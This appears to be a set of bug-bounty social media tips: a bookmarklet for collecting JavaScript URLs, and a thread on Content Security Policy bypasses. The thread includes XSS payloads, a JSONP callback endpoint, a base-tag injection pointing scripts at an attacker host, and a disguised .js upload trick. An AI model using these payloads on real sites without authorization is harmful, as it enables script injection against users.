🕵️‍♂️ Bug Bounty Tip - Extract JavaScript File URLs from Any Page!

Forget opening DevTools - use this bookmarklet to instantly extract all .js file URLs and download them in a .txt file.

🚀 Why this matters:

Quickly collect all linked JavaScript files
Use them for static analysis (LinkFinder, SecretFinder, etc.)
Great for recon, endpoint discovery & auth bypasses

📌 Bookmarklet Code:
javascript:(function(){let urls=[];document.querySelectorAll('*').forEach(e=>{urls.push(e.src,e.href,e.url)});urls=[...new Set(urls)].filter(u=>u&&u.endsWith('.js')).join('\n');let blob=new Blob([urls],{type:'text/plain'});let a=document.createElement('a');a.href=URL.createObjectURL(blob);a.download='javascript_urls.txt';a.click();})();

💡 How to use:
Create a new bookmark in your browser.
Paste the above code into the URL field.
Visit a target site and click the bookmark.
A javascript_urls.txt file will be downloaded with all .js links.

🔥 Now you can feed that into:
LinkFinder
SecretFinder
JSParser
Or manual analysis!

Testing a Sign-up form? Don't just check for XSS/SQLi.

The most critical vulnerabilities often hide in the business logic and subtle flow manipulations. A weak registration page is a gift to attackers.

That "A+" score from your security header scan? It might be creating a dangerous false sense of security.

Headers are the seatbelt, not the brake pedal. They are crucial, but relying on them alone is a mistake.

Here's why. 🧵

Many bug hunters are stuck in a low-payout loop. They find a valid bug, report it, and get a small reward.

The problem isn't the bug. It's the story. They're reporting a single puzzle piece instead of showing the full picture.

That CSP error in your console? It's not a wall—it's an invitation.

I just published Part 1 of my CSP Bypass series: the fundamentals that work on 70-80% of policies.

5 quick wins that still pay bounties 🧵👇

1️⃣ 'unsafe-inline' = instant win
2️⃣ Wildcard domains = JSONP paradise
3️⃣ File uploads to CDNs = code execution
4️⃣ Missing base-uri = hijack all scripts
5️⃣ Missing object-src = embed attacks

Each one has gotten ~$2,500-$5,000 payouts.

2. example:
Policy: script-src 'self' cdn.example.com

I uploaded a .js file as a profile picture → got the CDN URL → loaded it as a script.

$3,000 bounty from a "secure" CSP.
The key? Attack the TRUSTED domains, not the policy itself.

3. My CSP audit checklist:

✓ Read full policy
✓ Hunt for JSONP on whitelisted domains
✓ Test file uploads
✓ Check base-uri
✓ Check object-src
✓ Look for unsafe-inline/eval

One hit from this list = potential critical XSS.

This is just the beginning.

Part 2: Advanced nonce exploitation, AngularJS escapes, service workers

Part 3: DOM clobbering, mutation XSS, scriptless attacks

First, understand this :
Content Security Policy = No XSS
It just means "XSS with extra steps"

🟩 : 70% of CSPs I encounter have misconfigurations that make them completely useless. #bugbounty #infosec

Here are the 👇 5 deadly mistakes developers make:

𝗠𝗶𝘀𝘁𝗮𝗸𝗲 #𝟭: '𝘂𝗻𝘀𝗮𝗳𝗲-𝗶𝗻𝗹𝗶𝗻𝗲'

If you see this in script-src, you've already won.
Policy: script-src 'self' 'unsafe-inline'

Bypass: <script>alert(1)</script>
It literally allows ALL inline scripts.

𝗠𝗶𝘀𝘁𝗮𝗸𝗲 #𝟮: 𝗪𝗶𝗹𝗱𝗰𝗮𝗿𝗱 𝗗𝗼𝗺𝗮𝗶𝗻𝘀 (*.𝗴𝗼𝗼𝗴𝗹𝗲.𝗰𝗼𝗺)
"It's Google, what could go wrong?"

Everything.

This JSONP endpoint on Google works on tons of apps: http://
accounts.google.com/o/oauth2/revoke?callback=alert

𝗠𝗶𝘀𝘁𝗮𝗸𝗲 #𝟯: 𝗠𝗶𝘀𝘀𝗶𝗻𝗴 𝗯𝗮𝘀𝗲-𝘂𝗿𝗶
This is my favorite because it's ALWAYS overlooked.
Inject: <base href="https://attacker.com">

Now ALL relative script paths load from your domain.

𝗠𝗶𝘀𝘁𝗮𝗸𝗲 #𝟰: 𝗙𝗶𝗹𝗲 𝗨𝗽𝗹𝗼𝗮𝗱𝘀 𝗼𝗻 𝗪𝗵𝗶𝘁𝗲𝗹𝗶𝘀𝘁𝗲𝗱 𝗗𝗼𝗺𝗮𝗶𝗻𝘀
Policy: script-src 'self' http://cdn.example.com

If you can upload files to that CDN → game over.
upload a .js file disguised as a profile picture. Direct S3 URL. Loaded as script.

𝗠𝗶𝘀𝘁𝗮𝗸𝗲 #𝟱: 𝗧𝗿𝘂𝘀𝘁𝗶𝗻𝗴 𝗖𝗗𝗡𝘀 𝘄𝗶𝘁𝗵 𝗢𝗹𝗱 𝗟𝗶𝗯𝗿𝗮𝗿𝗶𝗲𝘀

AngularJS versions < 1.6.0 have sandbox escapes.
If a whitelisted domain hosts old Angular → you can execute code.

Check http://ajax.googleapis.com for old versions. This works more often than you'd think.

𝗧𝗵𝗶𝘀 𝗶𝘀 𝗷𝘂𝘀𝘁 𝘁𝗵𝗲 𝗯𝗲𝗴𝗶𝗻𝗻𝗶𝗻𝗴.

𝗣𝗮𝗿𝘁 𝟮: Advanced nonce exploitation, AngularJS escapes, service workers
𝗣𝗮𝗿𝘁 𝟯: DOM clobbering, mutation XSS, scriptless attacks

𝗙𝘂𝗹𝗹 𝗴𝘂𝗶𝗱𝗲 + 𝘁𝗲𝘀𝘁𝗶𝗻𝗴 𝗰𝗵𝗲𝗰𝗸𝗹𝗶𝘀𝘁:

Golden checklist for every beginner out there 👇 by Godfather Orwa

1 spend 1-2 hours understanding burp & burp extensions

2 spend 1-2 day understanding subdomain enumeration with more than 1 tool

3 don’t forget scanning port all the time
4 use waymore tool to extract endpoint from lot of resources

5 keep ai chat is opening and ask anything anytime

6 autorized & JS miner is so important extensions read about it and use it

Web Cache Poisoning Tips

Attacker mindset — don’t bruteforce: look for what the cache keys include. Host headers, cookies, query strings, Accept headers, and odd edge-case headers often end up in the key.

Make the app include your input in the key → you control cached output.
